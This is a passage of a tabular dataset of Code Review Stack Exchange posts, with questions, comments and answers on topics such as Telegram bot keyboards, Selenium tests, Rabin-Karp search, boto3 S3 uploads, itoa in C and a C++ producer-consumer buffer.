body stringlengths 25 86.7k | comments list | answers list | meta_data dict | question_id stringlengths 1 6 |
|---|---|---|---|---|
<p>I asked my <a href="https://stackoverflow.com/questions/68279814/vb-net-adding-items-to-a-reply-keyboard-for-telegram-bot">original question</a> and based on the answers got a version working. Essentially, I created a reply keyboard from the available product codes in my database table, with one button per row.
Wha... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T00:09:31.560",
"Id": "521240",
"Score": "0",
"body": "We can't help with this part of the question: `What I want to know now is how to have more than one button per row. `"
},
{
"ContentLicense": "CC BY-SA 4.0",
"Creatio... | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T21:14:09.077",
"Id": "263940",
"Score": "0",
"Tags": [
"vb.net",
"telegram"
],
"Title": "Building an array of KeyboardButton objects in a ReplyKeyBoardMarkup for a Telegram Bot"
} | 263940 |
<p>I'm reading on how to write proper testing suites <a href="https://martinfowler.com/bliki/PageObject.html" rel="nofollow noreferrer">here</a>. So I'm trying to follow the selenium example in the <a href="https://github.com/SeleniumHQ/selenium/wiki/PageObjects" rel="nofollow noreferrer">docs</a> which is in Java; I'm... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T13:35:04.967",
"Id": "521256",
"Score": "1",
"body": "Do `FE_URL` and `SERVER_URL` take values that point to a publicly-accessible server you can share with us for the purposes of testing?"
},
{
"ContentLicense": "CC BY-SA 4... | [
{
"body": "<p>I think the biggest miss here is that <code>LoginPage</code>, though it is perhaps fine as a test utility class, is clearly not a <code>TestCase</code> and should not inherit from that.</p>\n<p>This loop:</p>\n<pre><code> buttons = self.selenium.find_elements_by_tag_name("button")\n ... | {
"AcceptedAnswerId": "263949",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T01:45:19.100",
"Id": "263941",
"Score": "1",
"Tags": [
"python-3.x",
"selenium",
"integration-testing"
],
"Title": "Simple login test, translated from java to python"
} | 263941 |
<p>Below is the Rabin Karp implementation. I am not so sure about it, and there is no where that I can check whether this code really works or not. It will most helpful for extra set of eyes if whether this gives correct output or not.
The code finds the substring (in code it is, pattern) from the string given (in code... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T14:59:11.577",
"Id": "521257",
"Score": "1",
"body": "Just a suggestion, add additional test to main that both pass and fail have expected values for the pass and fail and test some edge cases."
},
{
"ContentLicense": "CC BY... | [
{
"body": "<h2>An important omission</h2>\n<p>Consider this snippet:</p>\n<blockquote>\n<pre><code>if (currHash == (hashPattern * primePower[i] % MOD)) {\n return true;\n}\n</code></pre>\n</blockquote>\n<p>It returns true when the hashes match. But hashes are not unique, they cannot be, there are fewer of th... | {
"AcceptedAnswerId": "263955",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T13:47:00.637",
"Id": "263948",
"Score": "0",
"Tags": [
"java",
"strings"
],
"Title": "Rabin karp substring search"
} | 263948 |
<p>UPDATES:</p>
<p>I'm looking for an answer that can answer the questions listed in the post. Moreover, this answer will not only continue my way of thinking, but also give feedback based on it. It's just like a conversation.</p>
<p>For example: As to question 1.1. It's better to create <code>andy_cfg</code> to handle... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T00:19:37.580",
"Id": "521270",
"Score": "2",
"body": "How would `andy_cfg.c, amy_cfg.c, benson_cfg.c,` differ from each other? Sharing `andy_cfg.h` (specifically a definition of `andy_config_t`), and a hypothetical `amy_cfg.h` will ... | [
{
"body": "<h1 id=\"make-your-code-more-generic-x3hb\">Make your code more generic</h1>\n<p>What if it's not only Andy, Amy and Benson, but you want to store the height and weight of a thousand people? Maybe some share the same first name? You can imagine that this would result in a terrible mess. The first thi... | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T15:59:58.703",
"Id": "263953",
"Score": "4",
"Tags": [
"c",
"generics",
"dependency-injection",
"configuration",
"cgi"
],
"Title": "CGI script that reads or writes its hei... | 263953 |
<p>I'm building a simple webpage that allow users to find the intersection of different category lists on a wiki (<a href="https://imslp.org/wiki/Main_Page" rel="nofollow noreferrer">imslp.org</a>) since the site itself does not offer this functionality. I have a simple HTML form that asks users to paste in two URLs an... | [] | [
{
"body": "<ul>\n<li><p>In <code>validate_URL()</code> I recommend that you only call <code>htmlspecialchars()</code> when echoing. <a href=\"https://stackoverflow.com/q/4882307/2943403\">https://stackoverflow.com/q/4882307/2943403</a> That said, I don't recommend that you echo anything from inside your functio... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T16:28:36.247",
"Id": "263954",
"Score": "0",
"Tags": [
"php",
"security"
],
"Title": "Simple web page to enhance browsing of IMSLP music collections"
} | 263954 |
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/263767/231235">A recursive_transform template function for the binary operation cases in C++</a>. Thanks for <a href="https://codereview.stackexchange.com/a/263849/231235">G. Sliepen's answer</a>. Based on the mentioned suggestion, I am... | [] | [
{
"body": "<h1>Unnecessary special-casing of unary functions</h1>\n<p>You don't need to make unitary functions a special case. Parameter packs can be empty after all. You can just delete the unary version of <code>recursive_transform()</code>, and the rest of the code will compile and run just fine.</p>\n<h1>Un... | {
"AcceptedAnswerId": "263988",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T17:02:45.233",
"Id": "263956",
"Score": "2",
"Tags": [
"c++",
"recursion",
"template",
"lambda",
"c++20"
],
"Title": "A recursive_transform template function for the m... | 263956 |
<p>This is my code for download file process. The codes is working fine but would like some code review. Any comment will be appreciated especially on exception handling part. Should I just need one try catch at <code>DownloadFileProcess</code> method or every private method also need a try catch? And if private method... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:30:08.253",
"Id": "521297",
"Score": "0",
"body": "Okay, I have updated"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T06:52:48.227",
"Id": "521421",
"Score": "1",
"body": "Is `HttpCli... | [] | {
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T21:52:56.780",
"Id": "263961",
"Score": "0",
"Tags": [
"c#",
"asp.net-core",
"asp.net-web-api",
"entity-framework-core"
],
"Title": "Download File Service"
} | 263961 |
<p>I want to create a database which gives an admin user ability to create schedule for other users to book from. This is second edition of this database schema.</p>
<p>I would like to know if there are any structure / logic issues with this schema. What would you change and why or if you see any potential problems reg... | [] | [
{
"body": "<ul>\n<li>Your <code>-- TABLE Services</code> comment is redundant and can be deleted, along with others of its kind</li>\n<li>Your pseudo-inline syntax used to name your constraints is.. fine I guess? I don't usually place much importance on naming constraints, but this is one way to do it</li>\n<li... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T02:20:47.067",
"Id": "263965",
"Score": "0",
"Tags": [
"sql",
"mysql",
"database"
],
"Title": "Appointment database - design II"
} | 263965 |
<p>Playing around with the google API.</p>
<p>I have written demo applications to use the google gmail API. But what I am actually looking for is a review of the C++ wrappers for Authentication (OAuth2) and an initial GMail wrapper. Want input before I start going any further.</p>
<p>Please take your time to point out ... | [] | [
{
"body": "<p>Spelling:</p>\n<ul>\n<li><code>ApplicaionInfo</code> -> <code>ApplicationInfo</code></li>\n<li><code>uriIndix</code> -> <code>uriIndex</code></li>\n</ul>\n<hr />\n<p><code>class CurlUniquePtr: public std::unique_ptr<CURL, CurlDeleter></code></p>\n<p><code>class CurlHeaderUniquePtr: pub... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T07:49:10.047",
"Id": "263969",
"Score": "4",
"Tags": [
"c++",
"google-api"
],
"Title": "Google API Wrapper"
} | 263969 |
<p>I am an experienced developer, but new to the react and the javascript world. I am trying to create a resizeable sidebar in react(Please see the full code and demo <a href="https://codesandbox.io/s/react-resizable-sidebar-kz9de" rel="nofollow noreferrer">here</a>) for a personal project. Although it seems to be work... | [] | [
{
"body": "<p>Your questions:</p>\n<ol>\n<li>Yes, but you need to add some useCallbacks. See below</li>\n<li>AFAIK, react renders instantly when you set state (for now), but you shouldn't rely on it. For one thing, multiple setState's will be batched together if in the same click listener (and even more places ... | {
"AcceptedAnswerId": "264125",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T08:28:53.540",
"Id": "263970",
"Score": "2",
"Tags": [
"javascript",
"react.js"
],
"Title": "React-based resizable sidebar"
} | 263970 |
<p>I have been trying to optimize this:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const NUMBERS = [2, 2, 2, 2, 2, 4, 5, 5, 5, 5, 5, 5, 5, 5, 9];
const getMode = (arr) ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:37:28.040",
"Id": "521298",
"Score": "1",
"body": "To clarify, what do you mean by “mode”? The statistical zero-th moment of a distribution?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:39:10... | [
{
"body": "<p>In order to improve the performance, you can reduce the complexity of the code.</p>\n<p>Currently, the complexity of your approaches is <strong>O(n² log(n))</strong> as the <code>sort</code> function is <strong>O(n log(n))</strong> and in each iteration, you are using <code>filter</code> or <code>... | {
"AcceptedAnswerId": "263979",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:34:57.873",
"Id": "263975",
"Score": "0",
"Tags": [
"javascript",
"comparative-review",
"mathematics"
],
"Title": "Get the Most frequent element in an array"
} | 263975 |
<p>I have a simple SDK in Python for internal use.
It's basically 150~200 lines of code of simple API calls wrapped around nicely that is comfortable for us to use.</p>
<p>It holds a few clients with methods (and each method wraps some API calls).</p>
<p>So a proper usage would be:</p>
<pre><code>from datatube.datatube... | [] | [
{
"body": "<p>Class inheritance is overkill here. Just use dataclass instances:</p>\n<pre><code>from dataclasses import dataclass\n\n\n@dataclass\nclass Config:\n DATATUBE_URL: str\n\n\nENVIRONMENTS = {\n 'dev': Config(\n DATATUBE_URL='https://..',\n ),\n 'stg': Config(\n DATATUBE_URL=... | {
"AcceptedAnswerId": "263989",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T14:44:30.443",
"Id": "263982",
"Score": "0",
"Tags": [
"python",
"python-3.x",
"configuration"
],
"Title": "Config for each environment (for a simple Python SDK)"
} | 263982 |
<p>I started with this script which is written in boto2 which I want to migrate to boto3, Below is a potion of the script that is used to automatically publish to S3 in my pipeline.</p>
<pre><code>def upload_file(self, details, ttl='259200'):
startTime = datetime.now()
initialHash = details[:2]
if initialHash == "... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T18:45:13.847",
"Id": "521328",
"Score": "1",
"body": "Welcome to CodeReview! Please format you code properly (e.g. indentation after `def method:`). Readability will be first aspect in most reviews ️"
},
{
"ContentLicense": ... | [] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T15:11:18.443",
"Id": "263983",
"Score": "0",
"Tags": [
"python",
"amazon-web-services"
],
"Title": "Uploading multiple S3 Objects with metadata and keys with Boto3"
} | 263983 |
<p>I have an application that subscribes to a topic in GCP and when there is some messages over there it downloads them and sends them to a queue on ActiveMQ.</p>
<p>In order to make this process fast I am using exeutorService and launching multiple threads for sending messages to active mq. since that the subscription... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T15:14:17.413",
"Id": "263984",
"Score": "2",
"Tags": [
"java",
"multithreading",
"spring"
],
"Title": "How to check gcp pupsub empty/inactitve subscribtion"
} | 263984 |
<p>I am working on a basic Array rotate code for a Hacker Rank challenge. The code is complete and passes all test cases, except for 2 which it times out on. I was wondering if there is a way to make this code more efficient. Thank you in advance.</p>
<pre><code>class Result {
/*
* Complete the 'rotLeft' function bel... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T20:27:57.440",
"Id": "521334",
"Score": "0",
"body": "From the comments in the code, your function should returns an array and I, but instead your code is using lists as parameter and return value. Are the comments wrong ? Please in... | [
{
"body": "<p>Is it a list or an array you are to work with? They are not exactly equivalent. If the data is an array, you can perhaps use System.arrayCopy() in your solution.</p>\n<p>Do you have to rotate in place or can the result be a new array (or list)?</p>\n<p>If you are rotating more than one place, you ... | {
"AcceptedAnswerId": "263997",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T18:28:31.770",
"Id": "263990",
"Score": "1",
"Tags": [
"java",
"performance",
"array"
],
"Title": "HackRank - Array Rotate Optimization"
} | 263990 |
<p>I am processing a file as the following and closing it. Later, I do some more processing and get some ID that I want to append to all rows in the previous CSV generated. So all rows will have the same value.</p>
<p>My initial code of creating and appending data to csv:</p>
<pre><code> private StringBuilder string... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T09:24:07.603",
"Id": "521354",
"Score": "2",
"body": "You'll need to explain better what this \"processing\" is. Also the code doesn't make sense without context: What does `prepareFileData` do? While is `stringBuilder` a field?"
... | [
{
"body": "<p>Your first code snippet seems to use <code>prepareFileData</code> to inject string-encoded rows into a String-buffer. Every <code>CHUNK_SIZE</code> rows, the buffer is appended to a file and the buffer is then reset.\nThat makes some sense, but:</p>\n<ol>\n<li>If the number of rows is not a multip... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T22:22:16.463",
"Id": "263994",
"Score": "-2",
"Tags": [
"java",
"csv"
],
"Title": "Java: Is there an easy way to append a new column that will be having same value for all rows in csv... | 263994 |
<p>I was rejected after a tech screening for the following code.
I mainly struggled to make the code 'production ready'.
I was running out of time so I did not create a class for testing.
How could I have improved this code?</p>
<pre><code>/*
Problem
Imagine you are building a friend locator app.
Given your current pos... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T23:18:35.017",
"Id": "521339",
"Score": "1",
"body": "`class Solution {` is something I'd expect to see in a programming-challenge, not in production code. Was this provided by the company?"
},
{
"ContentLicense": "CC BY-SA ... | [
{
"body": "<h2 id=\"major-issue-misunderstanding-of-exercise\">major issue: misunderstanding of exercise</h2>\n<p>you should find the <strong>amount k</strong> of friends - not the friends within an distanz k</p>\n<h2 id=\"major-issue-bug\">major issue: bug</h2>\n<pre><code>for(Pair pair : list){\n double d ... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T22:49:06.677",
"Id": "263995",
"Score": "6",
"Tags": [
"java",
"sorting",
"interview-questions",
"hash-map"
],
"Title": "friend locator app"
} | 263995 |
<p>I'm looking at improving my PHP knowledge and wondering if anybody has any tips on improving and optimising my function below?</p>
<pre><code><?php
function urlCheck($string = '')
{
$searches = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten', 'eleven... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T13:18:40.503",
"Id": "521362",
"Score": "3",
"body": "I'm not convinced that I have enough context here. How about some sample input? Do you need word boundaries to ensure that you are matching a whole word? Is this hypothetical ... | [
{
"body": "<p>If you replace</p>\n<blockquote>\n<pre><code> $queryJoin = $serverUrl . $getContents;\n</code></pre>\n</blockquote>\n<p>with</p>\n<pre><code> $queryJoin = strtolower(urldecode($serverUrl . $getContents));\n</code></pre>\n<p>You can change</p>\n<blockquote>\n<pre><code> ... | {
"AcceptedAnswerId": "264009",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T23:41:42.550",
"Id": "263996",
"Score": "1",
"Tags": [
"performance",
"php",
"strings",
"array"
],
"Title": "Check URL for keywords"
} | 263996 |
<p>Here is a minimal example of my task...</p>
<p>I have four 2-column files. <code>profile1.data</code></p>
<pre><code> zone luminosity
1 1 1359.019
2 2 1359.030
3 3 1359.009
4 4 1358.988
5 5 1358.969
6 6 1358.951
7 7 1358.934
8 8 1358.917
9 9 1358.899
10 10 1... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T23:34:47.723",
"Id": "521409",
"Score": "0",
"body": "I have rolled back the code changes in revision 2. After receiving an answer you are not allowed to update the code in your question. This is not a forum where you should keep th... | [
{
"body": "<p>for minimal code changes:</p>\n<pre><code>prof_num <- 1:4\nprof.path <- file.path('LOGS_A1a', paste0('profile', prof_num, '.data'))\nDF.profile <- lapply(prof.path, function(x) read.table(x, header = 1, skip = 5))\n\nfor (zone_num in 1:10) {\n \n png(file.path(paste("Light_Curve_&q... | {
"AcceptedAnswerId": "264003",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T01:15:43.410",
"Id": "263998",
"Score": "0",
"Tags": [
"r"
],
"Title": "R code for reading tabular data files and plotting light curves of modeled stars"
} | 263998 |
<p>I have this piece of code which I'd like to improve:</p>
<pre><code>std::optional<IntersectionInfo> Scene::intersects(const Ray& ray) const
{
float closest = std::numeric_limits<float>::max();
int index = -1;
int i = 0;
for(auto& sphere : _spheres)
{
auto [b, d] = Int... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T06:53:01.707",
"Id": "521422",
"Score": "0",
"body": "The current question title, which states your concerns about the code, is too general to be useful here. Please [edit] to the site standard, which is for the title to simply stat... | [
{
"body": "<p>Could we not use a second template function instead of the lambda? e.g.:</p>\n<pre><code>template<class Shape>\nIntersectionInfo getIntersectionInfo(std::vector<MaterialShape<Shape>> const& materialShapes, Ray const& ray, float closest, std::size_t index)\n{\n auto pos... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T04:17:47.603",
"Id": "264000",
"Score": "3",
"Tags": [
"c++"
],
"Title": "Factorize a function where inheritance is unwanted"
} | 264000 |
<p>I have a code in vba that works well but it is slow so I am looking for a better solution to this code.</p>
<p>If there is any one who could help me I would be grateful!</p>
<pre><code>Sub Formula()
Sheets("Result").Range("D2:D" & Cells(Rows.Count, 2).End(xlUp).Row).FormulaR1C1 = "=VLO... | [] | [
{
"body": "<p>This should run faster. If any of the applications I turn off at the start is messing up with the functionality of the macro delete it.</p>\n<pre><code>Sub Formula()\n\n'turn off applications not required\nApplication.Calculation = xlCalculationManual\nApplication.ScreenUpdating = False\nApplicati... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T05:44:23.280",
"Id": "264002",
"Score": "2",
"Tags": [
"vba",
"excel"
],
"Title": "VBA Vlookup to work faster"
} | 264002 |
<p>To put it in context, I had the assignment to do for a job interview in Node.JS, which basically making CRUD with products (and it have certain conditions).
The assignment was well-understandable, and I have succeeded to make this task.
After the company reviewed my code, I've got rejected because one of the main re... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T11:16:57.407",
"Id": "521359",
"Score": "0",
"body": "They probably mean that the service should return data (or throw exception if there were any errors) and the controller should decide what status to return and how to present tha... | [
{
"body": "<p>As it stands your controller is pretty much pointless since it's the service that decides on the api's output model and status codes. The service is also responsible for the db model transformation, i.e. it converts the db model directly to the api model. However, you have stated that the service ... | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T09:41:50.343",
"Id": "264006",
"Score": "1",
"Tags": [
"javascript",
"node.js",
"interview-questions",
"mvc",
"repository"
],
"Title": "Is My Controller too Coupling?"
} | 264006 |
<p>I have been learning Java for approximately 3 weeks now and made 2 posts on code review. Learned quite a lot from people and learned a lot of Java at the same time as well. I made this Age Calculator program to mainly practice with splitting up code into methods and classes as well as using method parameters and ret... | [] | [
{
"body": "<p>I have a lot experience with Java, but still, code is a very subjective thing, so on many things there is no single universal truth.</p>\n<ol>\n<li>Rename Application to AgeCalculator</li>\n<li>Application implements Runnable</li>\n<li>Encapsulate(make private) methods printInstructions and loopPr... | {
"AcceptedAnswerId": "264014",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T13:17:37.170",
"Id": "264010",
"Score": "1",
"Tags": [
"java",
"beginner"
],
"Title": "AgeCalculator - Calculates your current age using your birth date"
} | 264010 |
<p>I am working on an API call in pure Javascript and I hit a section of code that i want to refractor The code is something like this</p>
<pre><code>function getStart(city, lat, long, response) {
const latDir = lat[lat.length - 1];
const latVal = lat.slice(0, -1);
const latMinVal = latVal - 15 < 0 ? 0 : latV... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T13:49:08.860",
"Id": "521367",
"Score": "1",
"body": "Welcome to the Code Review Community, what we do here is review working code that you have written and provide tips on how to improve that code. The statement `The code is someth... | [
{
"body": "<p>Not really shorter, but something can be done to make it more readable.</p>\n<h3 id=\"do-some-cleanup-07io\">Do some cleanup</h3>\n<p>Is</p>\n<pre><code>console.log(response)\n</code></pre>\n<p>really needed after the debugging is done?</p>\n<h3 id=\"validate-data-before-processing-zka4\">Validate... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T13:24:29.747",
"Id": "264011",
"Score": "0",
"Tags": [
"javascript"
],
"Title": "Refractor a function call"
} | 264011 |
<p>This is my implementation of <code>itoa()</code> (Integer to Alpha), which converts an integer to a string. Memory management and optimization is important. The <strong>caller is not responsible for allocation</strong> of the string.
The <strong>caller is responsible for freeing</strong> the string, as my implementa... | [] | [
{
"body": "<p>Counting the digits doubles the amount of work, and the division/modulo is indeed very hard work for the CPU.</p>\n<p>You know the maximum size of the resulting string, because it would be the largest or most negative integer you can be passed. So use a local array as a buffer, and then copy the ... | {
"AcceptedAnswerId": "264059",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T13:48:23.033",
"Id": "264012",
"Score": "5",
"Tags": [
"c",
"reinventing-the-wheel",
"memory-management",
"pointers",
"memory-optimization"
],
"Title": "Implementation... | 264012 |
<p>So I'm currently trying to learn more about events using C# and the example that I just write seems a bit.. It seems a bit too much? I feel like you could accomplish the same thing with way less code. I just have a hard time seeing why an event in this case would be useful? Maybe I just did it wrong.</p>
<p>Is this ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T14:51:45.893",
"Id": "521374",
"Score": "4",
"body": "Events can shine whenever you have more than one consumer. So a single producer emits an event and many consumer can react on it."
},
{
"ContentLicense": "CC BY-SA 4.0",
... | [
{
"body": "<p>Events should report when something changed.</p>\n<p><em>edit</em> as pointed out events can be before or after. I'm just used to mainly dealing with after but events can happen before and some events that happen before even allow for the process to be cancelled. But the main point is events are... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T14:43:23.980",
"Id": "264015",
"Score": "0",
"Tags": [
"c#",
"event-handling"
],
"Title": "is this a good way of using events?"
} | 264015 |
<pre><code># digit containing 9 has to be greater or equal in length
mul9 = { str(i): str(9-i) for i in range(10)}
print(f"{mul9}\n")
number1 = int(input("Enter 9s': "))
len1 = len(str(number1))
number2 = int(input(f"Enter (0 - {str(9)*len1}): "))
if len(str(number1)) < len(str(num... | [] | [
{
"body": "<ul>\n<li>Introduce some validation loops, rather than just bailing when the trick won't work</li>\n<li>Rephrase your outputs to be real equations - there's no reason not to</li>\n<li>Rearrange your digit storage order so that first things are added to a list first, and at the end call <code>join</co... | {
"AcceptedAnswerId": "264025",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T15:42:38.720",
"Id": "264019",
"Score": "4",
"Tags": [
"python-3.x",
"mathematics"
],
"Title": "Multiply by 9 without multiplying by 9, using vedic math"
} | 264019 |
<pre><code>add9 = []
add9.append(int(input("Enter 1st 4-digit no.: ")))
print(f"The answer will be 2 and {str(add9[0])[0 :-1]} and {str(add9[0]-2)[-1]} = 2{add9[0]-2}")
add9.append(int(input("Enter 2nd 4-digit no.: ")))
add9.append(9999-add9[1])
print(f"The 3rd 4-digit is 9999 -... | [] | [
{
"body": "<ul>\n<li>To start, I wouldn't put everything in a list. There are benefits to putting all five numbers in a sequence, but that needn't happen until the end</li>\n<li>You can expand your explanation for the "answer". First, it's unclear what you mean by "answer"; it's actually the... | {
"AcceptedAnswerId": "264030",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:05:29.960",
"Id": "264021",
"Score": "1",
"Tags": [
"python-3.x",
"mathematics"
],
"Title": "Game: Predict answer based on 3 user inputs, 2 self created inputs"
} | 264021 |
<p><a href="https://stackoverflow.com/questions/68364789/mix-javascript-debounce-not-plugin-with-jquery-event-handler">I asked this on StackOverflow</a> and was directed here...</p>
<p>Instead of including a debounce plugin library for a very small form section of my site, I've implemented some of <a href="https://davi... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:20:42.957",
"Id": "264023",
"Score": "1",
"Tags": [
"javascript",
"jquery"
],
"Title": "Mix JavaScript debounce (not plugin) with jQuery event handler?"
} | 264023 |
<p>Im currently working doing a webscrape which in my case if sydsvenskan but will be a template over time for other sites.</p>
<p>I have currently done:</p>
<pre><code>from typing import Optional
import attr
import requests
from bs4 import BeautifulSoup
from loguru import logger
from requests import RequestException
... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T18:37:39.883",
"Id": "521392",
"Score": "0",
"body": "Hi @Reinderien, Regarding the adopted stuff that you have taught me is still there. The reason I haven't added it here is due to I wanted to make it easy for the people to use th... | [
{
"body": "<ul>\n<li>Your <code>attrs</code> should not need to have every single property decorated; there's an automatic mode</li>\n<li>On 404 returning a mostly-useless data instance seems like a bad idea.</li>\n<li>Your first tuple of exceptions contains classes that are all derived from <code>RequestExcept... | {
"AcceptedAnswerId": "264107",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T17:26:41.070",
"Id": "264024",
"Score": "1",
"Tags": [
"python",
"python-3.x"
],
"Title": "Scraping webelements if found"
} | 264024 |
<p>I'm working on a programming exercise (university, nothing related to industry) which basically asks to implement a Buffer to be used by two threads (a producer and a consumer). The first one enqueues data calling <code>next(T t)</code>, while the other gets the oldest value (in a FIFO mechanism) calling <code>consu... | [] | [
{
"body": "<p>Yup. Looks like a queue. Maybe all multithreading is really a queue? ... <em>strokes beard philosophically</em></p>\n<hr />\n<p>Naming:</p>\n<ul>\n<li><code>terminate()</code> should probably be called <code>finished()</code> or <code>done()</code> or something similar. (To distance it from <code... | {
"AcceptedAnswerId": "264048",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T18:50:26.997",
"Id": "264026",
"Score": "6",
"Tags": [
"c++",
"multithreading"
],
"Title": "C++ producer-consumer using blocking buffer"
} | 264026 |
<p>I am learning Python and managed to accomplish the above. But my script doesn't seem optimal. Could someone help to take a review and suggest for betterment?</p>
<pre><code>import boto3
from datetime import datetime,timedelta
REGION = "ap-southeast-1"
retention_days = 45
account_id = boto3.client('sts').g... | [] | [
{
"body": "<p>For a beginners' project, the code is well formulated, comments are short and to the point. I'll list out a few things which might help you, but are specific to your requirements.</p>\n<hr />\n<h2>Environment variables</h2>\n<p>AWS populates an environment variable called <code>AWS_REGION</code> f... | {
"AcceptedAnswerId": "269220",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T02:19:17.573",
"Id": "264034",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"lambda",
"amazon-web-services"
],
"Title": "Delete older EBS Volume snapshots except few wi... | 264034 |
<p>I am implementing a callback method to replace the use of generics.</p>
<p>For maximum performance, it is not allowed to use <code>Box</code> and I also don’t want to use <code>dyn FnMut(T) -> Ret</code> as that introduces <code>vtable</code>.</p>
<p>So I decided to write a non-owning <code>ErasedFnPointer</code>... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T04:52:54.170",
"Id": "264040",
"Score": "4",
"Tags": [
"rust",
"generics",
"pointers"
],
"Title": "A safe type-erased Fn Pointer in rust that can be used to call associated and re... | 264040 |
<p>I have service class which loads data from external service. This service needs API key which loads from db and unique for every user.</p>
<pre><code>public class GoogleCloudService
{
private readonly ILogger<GoogleCloudService> logger;
public GoogleCloudService(string key)
{
Key = key;
... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T07:58:27.490",
"Id": "521425",
"Score": "0",
"body": "`public GoogleCloudService(string key, ILogger<GoogleCloudService> logger)` - the constructor must accept one more parameter"
},
{
"ContentLicense": "CC BY-SA 4.0",
"... | [
{
"body": "<p>why not use <code>Request</code> headers?</p>\n<p>You can register the <code>IHttpContextAccessor</code> service at <code>Startup</code> :</p>\n<pre><code>public void ConfigureServices(IServiceCollection services)\n{\n services.AddControllers();\n\n //register IHttpContextAccessor\n servi... | {
"AcceptedAnswerId": "264086",
